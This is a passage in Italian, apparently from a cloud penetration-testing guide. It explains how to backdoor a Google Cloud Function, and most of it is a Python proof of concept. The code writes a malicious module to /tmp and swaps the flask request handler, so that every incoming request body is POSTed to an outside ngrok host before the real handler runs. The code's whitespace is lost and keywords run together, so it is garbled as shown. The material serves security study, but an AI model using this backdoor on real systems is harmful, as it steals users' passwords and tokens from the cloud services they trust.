Se la Funzione Cloud gestisce informazioni sensibili che gli utenti stanno inviando (ad es. password o token), con privilegi sufficienti potresti modificare il codice sorgente della funzione ed esfiltrare queste informazioni.
Inoltre, le Funzioni Cloud che girano in python utilizzano flask per esporre il server web; se in qualche modo trovi una vulnerabilità di iniezione di codice all'interno del processo flaks (una vulnerabilità SSTI ad esempio), è possibile sovrascrivere il gestore della funzione che riceverà le richieste HTTP per una funzione malevola che può esfiltrare la richiesta prima di passarla al gestore legittimo.
Ad esempio, questo codice implementa l'attacco:
import functions_framework# Some python handler code@functions_framework.httpdefhello_http(request,last=False,error=""):"""HTTP Cloud Function.Args:request (flask.Request): The request object.<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>Returns:The response text, or any set of values that can be turned into aResponse object using `make_response`<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>."""ifnot last:returninjection()else:if error:return errorelse:return"Hello World!"# Attacker code to inject# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.pynew_function ="""def exfiltrate(request):try:from urllib import request as urllib_requestreq = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")urllib_request.urlopen(req, timeout=0.1)except Exception as e:if not "read operation timed out" in str(e):return str(e)return ""def new_http_view_func_wrapper(function, request):def view_func(path):try:error = exfiltrate(request)return function(request._get_current_object(), last=True, error=error)except Exception as e:return str(e)return view_func"""definjection():global new_functiontry:from flask import current_app as appimport flaskimport osimport importlibimport sysif os.access('/tmp', os.W_OK):new_function_path ="/tmp/function.py"withopen(new_function_path, "w")as f:f.write(new_function)os.chmod(new_function_path, 0o777)ifnot os.path.exists('/tmp/function.py'):return"/tmp/function.py doesn't exists"# Get relevant function nameshandler_fname = os.environ.get("FUNCTION_TARGET")# Cloud Function env variable indicating the name of the function to habdle requestssource_path = os.environ.get("FUNCTION_SOURCE", "./main.py")# Path to the source file of the Cloud Function (./main.py by default)realpath = os.path.realpath(source_path)# Get full path# Get the modules representationsspec_handler = importlib.util.spec_from_file_location("main_handler", realpath)module_handler = importlib.util.module_from_spec(spec_handler)spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')module_backdoor = importlib.util.module_from_spec(spec_backdoor)# Load the modules inside the app contextwith app.app_context():spec_handler.loader.exec_module(module_handler)spec_backdoor.loader.exec_module(module_backdoor)# make the cloud funtion use as handler the new functionprev_handler =getattr(module_handler, handler_fname)new_func_wrap =getattr(module_backdoor, 'new_http_view_func_wrapper')app.view_functions["run"]=new_func_wrap(prev_handler, flask.request)return"Injection completed!"exceptExceptionas e:returnstr(e)